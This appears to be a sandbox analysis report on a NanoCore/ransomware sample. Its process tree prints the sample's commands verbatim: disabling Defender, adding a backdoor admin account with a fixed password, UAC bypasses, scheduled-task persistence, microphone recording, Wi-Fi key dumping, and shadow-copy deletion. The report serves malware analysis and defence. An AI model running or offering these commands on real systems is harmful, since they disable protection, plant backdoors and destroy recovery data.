Overview

overview

10

Static

static

10

www.animal...me.exe

windows10-2004-x64

www.animal...me.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    42s
  • max time network
    43s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/08/2026, 15:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    www.animalworld.io_ransome.exe
  • Size 39KB
  • Sample260806-syeh1svbme
  • SHA256 b41bcf55ad0046f0c07bf7c56e0cff0ef2efefbdffd39c2cbc4998066fb0bb80
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Attributes
  • c2_port

    22401

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables one or more Microsoft Defender components 1 TTPs 23 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

    Using powershell.exe command.

    execution
  • Creates a new local user account 1 TTPs 44 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 7 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Interacts with shadow copies 3 TTPs 7 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2200
    • C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\89dbfef8-f1a6-4315-a651-3756e78c8a35.inf
      2⤵
        PID:4948
      • C:\Windows\System32\eventvwr.exe
        "C:\Windows\System32\eventvwr.exe"
        2⤵
          PID:4756
          • C:\Windows\system32\mmc.exe
            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
            3⤵
              PID:2508
          • C:\Windows\System32\fodhelper.exe
            "C:\Windows\System32\fodhelper.exe"
            2⤵
              PID:2436
              • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                3⤵
                  PID:2280
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                    4⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:564
                  • C:\Windows\System32\cmstp.exe
                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0d88afef-f490-4a72-821f-d8d2e0686f57.inf
                    4⤵
                      PID:1524
                    • C:\Windows\System32\eventvwr.exe
                      "C:\Windows\System32\eventvwr.exe"
                      4⤵
                        PID:3536
                        • C:\Windows\system32\mmc.exe
                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                          5⤵
                            PID:4424
                        • C:\Windows\System32\fodhelper.exe
                          "C:\Windows\System32\fodhelper.exe"
                          4⤵
                            PID:1560
                            • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                              "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                              5⤵
                                PID:1980
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                  6⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:2528
                                • C:\Windows\System32\cmstp.exe
                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\080148c0-fe74-4386-962a-9605c8760819.inf
                                  6⤵
                                    PID:204
                                  • C:\Windows\System32\eventvwr.exe
                                    "C:\Windows\System32\eventvwr.exe"
                                    6⤵
                                      PID:536
                                      • C:\Windows\system32\mmc.exe
                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                        7⤵
                                          PID:2168
                                      • C:\Windows\System32\fodhelper.exe
                                        "C:\Windows\System32\fodhelper.exe"
                                        6⤵
                                          PID:5020
                                          • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                            "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                            7⤵
                                              PID:5136
                                              • C:\Windows\System32\schtasks.exe
                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                8⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:5796
                                              • C:\Windows\System32\cmstp.exe
                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f92b77a4-73c8-4ee3-a52a-e62dbeb191d8.inf
                                                8⤵
                                                  PID:5868
                                                • C:\Windows\System32\eventvwr.exe
                                                  "C:\Windows\System32\eventvwr.exe"
                                                  8⤵
                                                    PID:5924
                                                    • C:\Windows\system32\mmc.exe
                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                      9⤵
                                                        PID:6008
                                                    • C:\Windows\System32\fodhelper.exe
                                                      "C:\Windows\System32\fodhelper.exe"
                                                      8⤵
                                                        PID:6016
                                                        • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                          9⤵
                                                            PID:2108
                                                            • C:\Windows\System32\schtasks.exe
                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                              10⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5696
                                                            • C:\Windows\System32\cmstp.exe
                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\552354b2-515f-4820-a65d-b12535d6a992.inf
                                                              10⤵
                                                                PID:5996
                                                              • C:\Windows\System32\eventvwr.exe
                                                                "C:\Windows\System32\eventvwr.exe"
                                                                10⤵
                                                                  PID:5768
                                                                  • C:\Windows\system32\mmc.exe
                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                    11⤵
                                                                      PID:5820
                                                                  • C:\Windows\System32\fodhelper.exe
                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                    10⤵
                                                                      PID:6152
                                                                      • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                        11⤵
                                                                          PID:6492
                                                                          • C:\Windows\System32\schtasks.exe
                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                            12⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:3992
                                                                          • C:\Windows\System32\cmstp.exe
                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\84d04be5-daa1-4f60-8458-8caf519d1de2.inf
                                                                            12⤵
                                                                              PID:6436
                                                                            • C:\Windows\System32\eventvwr.exe
                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                              12⤵
                                                                                PID:6300
                                                                                • C:\Windows\system32\mmc.exe
                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                  13⤵
                                                                                    PID:5936
                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                  12⤵
                                                                                    PID:5824
                                                                                    • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                      13⤵
                                                                                        PID:7788
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                          14⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:6208
                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3ee0495a-c936-4fc0-b470-79cc73f17ee0.inf
                                                                                          14⤵
                                                                                            PID:3304
                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                            14⤵
                                                                                              PID:5624
                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                15⤵
                                                                                                  PID:7648
                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                14⤵
                                                                                                  PID:7852
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                    15⤵
                                                                                                      PID:8892
                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                        16⤵
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:9140
                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\db64cfd5-6bfc-4172-92f5-f0c439aa5e3c.inf
                                                                                                        16⤵
                                                                                                          PID:8488
                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                          16⤵
                                                                                                            PID:5388
                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                              17⤵
                                                                                                                PID:6276
                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                              16⤵
                                                                                                                PID:8164
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                  17⤵
                                                                                                                    PID:10252
                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                      18⤵
                                                                                                                        PID:2228
                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                          19⤵
                                                                                                                            PID:11416
                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                          18⤵
                                                                                                                            PID:7708
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                            18⤵
                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            PID:9504
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                        16⤵
                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        PID:8300
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                        16⤵
                                                                                                                        • Creates a new local user account
                                                                                                                        PID:10792
                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          17⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:6656
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                        16⤵
                                                                                                                          PID:10616
                                                                                                                        • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                          "notepad.exe"
                                                                                                                          16⤵
                                                                                                                            PID:11776
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                        14⤵
                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        PID:4764
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                        14⤵
                                                                                                                        • Creates a new local user account
                                                                                                                        PID:8952
                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          15⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:8772
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                        14⤵
                                                                                                                          PID:5876
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                            15⤵
                                                                                                                              PID:4400
                                                                                                                          • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                            "notepad.exe"
                                                                                                                            14⤵
                                                                                                                              PID:9116
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                          12⤵
                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          PID:5716
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          12⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:7876
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            13⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:3976
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                          12⤵
                                                                                                                            PID:7188
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                              13⤵
                                                                                                                                PID:7304
                                                                                                                            • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                              "notepad.exe"
                                                                                                                              12⤵
                                                                                                                                PID:9792
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                            10⤵
                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            PID:6160
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            10⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:6552
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                              11⤵
                                                                                                                              • Creates a new local user account
                                                                                                                              PID:6248
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                            10⤵
                                                                                                                              PID:5868
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                11⤵
                                                                                                                                  PID:6872
                                                                                                                              • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                "notepad.exe"
                                                                                                                                10⤵
                                                                                                                                  PID:8408
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                              8⤵
                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              PID:6024
                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                              8⤵
                                                                                                                              • Creates a new local user account
                                                                                                                              PID:5728
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                9⤵
                                                                                                                                • Creates a new local user account
                                                                                                                                PID:6628
                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                              8⤵
                                                                                                                                PID:6984
                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                  9⤵
                                                                                                                                    PID:6344
                                                                                                                                • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                  "notepad.exe"
                                                                                                                                  8⤵
                                                                                                                                    PID:7060
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                6⤵
                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:3560
                                                                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                6⤵
                                                                                                                                • Creates a new local user account
                                                                                                                                PID:5684
                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                  7⤵
                                                                                                                                  • Creates a new local user account
                                                                                                                                  PID:6132
                                                                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                6⤵
                                                                                                                                  PID:6140
                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                    7⤵
                                                                                                                                      PID:6020
                                                                                                                                  • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                    "notepad.exe"
                                                                                                                                    6⤵
                                                                                                                                      PID:1768
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307425190144.wav')"
                                                                                                                                      6⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      PID:9624
                                                                                                                                    • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                      "netsh" wlan show profiles key=clear
                                                                                                                                      6⤵
                                                                                                                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                      PID:10104
                                                                                                                                    • C:\Windows\System32\vssadmin.exe
                                                                                                                                      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                      6⤵
                                                                                                                                      • Interacts with shadow copies
                                                                                                                                      PID:11224
                                                                                                                                    • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                      6⤵
                                                                                                                                        PID:9464
                                                                                                                                      • C:\Windows\System32\net.exe
                                                                                                                                        "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                        6⤵
                                                                                                                                          PID:11680
                                                                                                                                        • C:\Windows\System32\netsh.exe
                                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                          6⤵
                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                          PID:8948
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                      4⤵
                                                                                                                                      • Disables one or more Microsoft Defender components
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      PID:4052
                                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                                      "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                      4⤵
                                                                                                                                      • Creates a new local user account
                                                                                                                                      PID:3056
                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                        5⤵
                                                                                                                                        • Creates a new local user account
                                                                                                                                        PID:4196
                                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                                      "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                      4⤵
                                                                                                                                        PID:5540
                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                          C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                          5⤵
                                                                                                                                            PID:5840
                                                                                                                                        • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                          "notepad.exe"
                                                                                                                                          4⤵
                                                                                                                                            PID:7120
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307429252581.wav')"
                                                                                                                                            4⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:10020
                                                                                                                                          • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                            "netsh" wlan show profiles key=clear
                                                                                                                                            4⤵
                                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                            PID:9420
                                                                                                                                          • C:\Windows\System32\vssadmin.exe
                                                                                                                                            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                            4⤵
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:10228
                                                                                                                                          • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                            4⤵
                                                                                                                                              PID:11316
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                          2⤵
                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:4764
                                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                          2⤵
                                                                                                                                          • Creates a new local user account
                                                                                                                                          PID:4960
                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                            3⤵
                                                                                                                                            • Creates a new local user account
                                                                                                                                            PID:2784
                                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                          2⤵
                                                                                                                                            PID:2832
                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                              3⤵
                                                                                                                                                PID:5248
                                                                                                                                            • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                              "notepad.exe"
                                                                                                                                              2⤵
                                                                                                                                                PID:7076
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307430033956.wav')"
                                                                                                                                                2⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                PID:10112
                                                                                                                                              • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                                "netsh" wlan show profiles key=clear
                                                                                                                                                2⤵
                                                                                                                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                PID:9572
                                                                                                                                              • C:\Windows\System32\vssadmin.exe
                                                                                                                                                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                2⤵
                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                PID:10576
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                              1⤵
                                                                                                                                                PID:680
                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                  2⤵
                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                  PID:3944
                                                                                                                                                • C:\Windows\System32\cmstp.exe
                                                                                                                                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ae2e3232-c90b-46c3-91b4-9a26d077decc.inf
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2004
                                                                                                                                                  • C:\Windows\System32\eventvwr.exe
                                                                                                                                                    "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3704
                                                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3876
                                                                                                                                                      • C:\Windows\System32\fodhelper.exe
